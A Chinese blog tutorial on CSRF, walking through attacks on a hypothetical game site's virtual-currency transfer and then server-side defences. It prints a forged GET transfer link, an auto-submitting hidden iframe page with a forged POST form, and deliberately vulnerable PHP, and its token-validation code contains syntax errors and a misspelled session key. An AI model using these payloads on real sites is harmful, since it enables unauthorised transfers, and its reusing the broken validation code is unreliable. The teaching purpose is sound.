CSRF攻擊與防護

一、簡介

  CSRF的全名爲Cross-site request forgery,它的中文名爲 跨站請求僞造(僞造跨站請求【這樣讀順口一點】)php

  CSRF是一種夾持用戶在已經登錄的web應用程序上執行非本意的操做的攻擊方式。相比於XSS,CSRF是利用了系統對頁面瀏覽器的信任,XSS則利用了系統對用戶的信任。html

 

二、CSRF攻擊原理

下面爲CSRF攻擊原理圖:java

由上圖分析咱們能夠知道構成CSRF攻擊是有條件的:web

  一、客戶端必須一個網站並生成cookie憑證存儲在瀏覽器中數組

  二、該cookie沒有清除,客戶端又tab一個頁面進行訪問別的網站瀏覽器

 

三、CSRF例子與分析

  咱們就以遊戲虛擬幣轉帳爲例子進行分析安全

  3.一、簡單級別CSRF攻擊

  假設某遊戲網站的虛擬幣轉帳是採用GET方式進行操做的,樣式如:服務器

1 http://www.game.com/Transfer.php?toUserId=11&vMoney=1000

 

  此時惡意攻擊者的網站也構建一個類似的連接:cookie

  一、能夠是採用圖片隱藏,頁面一打開就自動進行訪問第三方文章:<img src='攻擊連接'>

  二、也能夠採用js進行相應的操做

http://www.game.com/Transfer.php?toUserId=20&vMoney=1000         #toUserID爲攻擊的帳號ID

 

  一、倘若客戶端已經驗證並登錄www.game.com網站,此時客戶端瀏覽器保存了遊戲網站的驗證cookie

  二、客戶端再tab另外一個頁面進行訪問惡意攻擊者的網站,並從惡意攻擊者的網站構造的連接來訪問遊戲網站

  三、瀏覽器將會攜帶該遊戲網站的cookie進行訪問,刷一下就沒了1000遊戲虛擬幣

  3.二、中級別CSRF攻擊

  遊戲網站負責人認識到了有被攻擊的漏洞,將進行升級改進。

  將由連接GET提交數據改爲了表單提交數據

//提交數據表單
<form action="./Transfer.php" method="POST">     <p>toUserId: <input type="text" name="toUserId" /</p>     <p>vMoney: <input type="text" name="vMoney" /></p>     <p><input type="submit" value="Transfer" /></p> </form>

 

  Transfer.php

複製代碼
1 <?php
2      session_start();
3      if (isset($_REQUEST['toUserId'] && isset($_REQUEST['vMoney']))  #驗證
4      {
5           //相應的轉帳操做
6      }
7  ?>
複製代碼

 

  惡意攻擊者將會觀察網站的表單形式,並進行相應的測試。

  首先惡意攻擊者採用(http://www.game.com/Transfer.php?toUserId=20&vMoney=1000)進行測試,發現仍然能夠轉帳。 

  那麼此時遊戲網站所作的更改沒起到任何的防範做用,惡意攻擊者只須要像上面那樣進行攻擊便可達到目的。

  總結:

  一、網站開發者的錯誤點在於沒有使用$_POST進行接收數據。當$_REQUEST能夠接收POST和GET發來的數據,所以漏洞就產生了。

  3.三、高級別CSRF攻擊

  這一次,遊戲網站開發者又再一次認識到了錯誤,將進行下一步的改進與升級,將採用POST來接收數據

  Transfer.php

複製代碼
1 <?php
2      session_start();
3      if (isset($_POST['toUserId'] && isset($_POST['vMoney']))  #驗證
4      {
5           //相應的轉帳操做
6      }
7  ?>
複製代碼

 

  此時惡意攻擊者就沒有辦法進行攻擊了麼?那是不可能的。

  惡意攻擊者根據遊戲虛擬幣轉帳表單進行僞造了一份如出一轍的轉帳表單,而且嵌入到iframe中

嵌套頁面:(用戶訪問惡意攻擊者主機的頁面,即tab的新頁面)

複製代碼
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>攻擊者主機頁面</title>
    <script type="text/javascript">
    function csrf()
    {
        window.frames['steal'].document.forms[0].submit();
    }
    </script>
</head>
<body onload="csrf()">
<iframe name="steal" display="none" src="./xsrf.html">
</iframe>
</body>
</html>
複製代碼

 

表單頁面:(xsrf.html)

複製代碼
<!DOCTYPE html>
<html>
<head>
    <title>csrf</title>
</head>
<body>
<form display="none" action="http://www.game.com/Transfer.php" method="post" >
    <input type="hidden" name="toUserID" value="20">
    <input type="hidden" name="vMoney" value="1000">
</form>
</body>
</html>
複製代碼

 

 

  客戶端訪問惡意攻擊者的頁面同樣會遭受攻擊。

總結:

  CSRF攻擊是源於Web的隱式身份驗證機制!Web的身份驗證機制雖然能夠保證一個請求是來自於某個用戶的瀏覽器,但卻沒法保證該請求是用戶批准發送的

 

四、CSRF防護方法

  服務器端防護:

  一、重要數據交互採用POST進行接收,固然是用POST也不是萬能的,僞造一個form表單便可破解

  二、使用驗證碼,只要是涉及到數據交互就先進行驗證碼驗證,這個方法能夠徹底解決CSRF。可是出於用戶體驗考慮,網站不能給全部的操做都加上驗證碼。所以驗證碼只能做爲一種輔助手段,不能做爲主要解決方案。

  三、驗證HTTP Referer字段,該字段記錄了這次HTTP請求的來源地址,最多見的應用是圖片防盜鏈。PHP中能夠採用APache URL重寫規則進行防護,可參考:http://www.cnblogs.com/phpstudy2015-6/p/6715892.html

  四、爲每一個表單添加令牌token並驗證

(可使用cookie或者session進行構造。固然這個token僅僅只是針對CSRF攻擊,在這前提須要解決好XSS攻擊,不然這裏也將會是白忙一場【XSS能夠偷取客戶端的cookie】) 

  CSRF攻擊之因此可以成功,是由於攻擊者能夠僞造用戶的請求,該請求中全部的用戶驗證信息都存在於Cookie中,所以攻擊者能夠在不知道這些驗證信息的狀況下直接利用用戶本身的Cookie來經過安全驗證。由此可知,抵禦CSRF攻擊的關鍵在於:在請求中放入攻擊者所不能僞造的信息,而且該信息不存在於Cookie之中。

  鑑於此,咱們將爲每個表單生成一個隨機數祕鑰,並在服務器端創建一個攔截器來驗證這個token,若是請求中沒有token或者token內容不正確,則認爲多是CSRF攻擊而拒絕該請求。

  因爲這個token是隨機不可預測的而且是隱藏看不見的,所以惡意攻擊者就不可以僞造這個表單進行CSRF攻擊了。

  要求:

  一、要確保同一頁面中每一個表單都含有本身惟一的令牌

  二、驗證後須要刪除相應的隨機數

構造令牌類Token.calss.php

複製代碼
 1 <?php
 2 class Token
 3 {
 4     /**
 5     * @desc 獲取隨機數
 6     *
 7     * @return string 返回隨機數字符串
 8     */
 9     private function getTokenValue()
10     {
11         return md5(uniqid(rand(), true).time());
12     }
13     
14     /**
15     * @desc 獲取祕鑰
16     *
17     * @param $tokenName string | 與祕鑰值配對成鍵值對存入session中(標識符,保證惟一性)
18     *
19     * @return array 返回存儲在session中祕鑰值
20     */
21     public function getToken($tokenName)
22     {
23         $token['name']=$tokenName;      #先將$tokenName放入數組中
24         session_start();
25         if(@$_SESSION[$tokenName])      #判斷該用戶是否存儲了該session
26         {                               #是,則直接返回已經存儲的祕鑰
27             $token['value']=$_SESSION[$tokenName];
28             return $token;
29         }
30         else                            #否,則生成祕鑰並保存
31         {
32             $token['value']=$this->getTokenValue();
33             $_SESSION[$tokenName]=$token['value'];
34             return $token;
35         }
36     }
37 
38 }
39 #測試
40 $csrf=new Token();
41 $name='form1';
42 $a=$csrf->getToken($name);
43 echo "<pre>";
44 print_r($a);
45 echo "</pre>";
46 echo "<pre>";
47 print_r($_SESSION);
48 echo "</pre>";die;
49 
50 ?> 
複製代碼

 表單中使用:

 

複製代碼
 1 <?php
 2           session_start();
 3           include(」Token.class.php」);
 4           $token=new Token();
 5           $arr=$token->getToken(‘transfer’);    #保證惟一性(標識符)
 6 ?>
 7  <form method=」POST」 action=」./transfer.php」>
 8           <input type=」text」 name=」toUserId」>
 9           <input type=」text」 name=」vMoney」>
10           <input type="hidden" name="<?php echo $arr['name'] ?>"  value="<?php echo $arr['value']?>" >
11           <input type=」submit」 name=」submit」 value=」Submit」>
12  </from>
複製代碼

 

 

 

 驗證:

複製代碼
 1 <?php
 2 #轉帳表單驗證
 3 session_start();
 4 if($_POST['transfer']==$_SESSION['transger'])       #先檢驗祕鑰
 5 {
 6     if ( &&isset($_POST['toUserId'] && isset($_POST['vMoney']))  #驗證
 7     {
 8          //相應的轉帳操做
 9     }
10 }
11 else
12 {
13     return false;
14 }
15 
16 ?>
複製代碼

 

該方法套路:

1. 用戶訪問某個表單頁面。

2. 服務端生成一個Token,放在用戶的Session中,或者瀏覽器的Cookie中。【這裏已經不考慮XSS攻擊】

3. 在頁面表單附帶上Token參數。

4. 用戶提交請求後, 服務端驗證表單中的Token是否與用戶Session(或Cookies)中的Token一致,一致爲合法請求,不是則非法請求。

 

五、參考文獻

1. 《淺談CSRF攻擊方式

2. 《Web安全之CSRF攻擊

 

(以上是本身的一些看法,如有不足或者錯誤的地方請各位指出)

 做者:那一葉隨風   http://www.cnblogs.com/phpstudy2015-6/

 原文地址:http://www.cnblogs.com/phpstudy2015-6/p/6771239.html

 聲明:本博客文章爲原創,只表明本人在工做學習中某一時間內總結的觀點或結論。轉載時請在文章頁面明顯位置給出原文連接

相關文章
相關標籤/搜索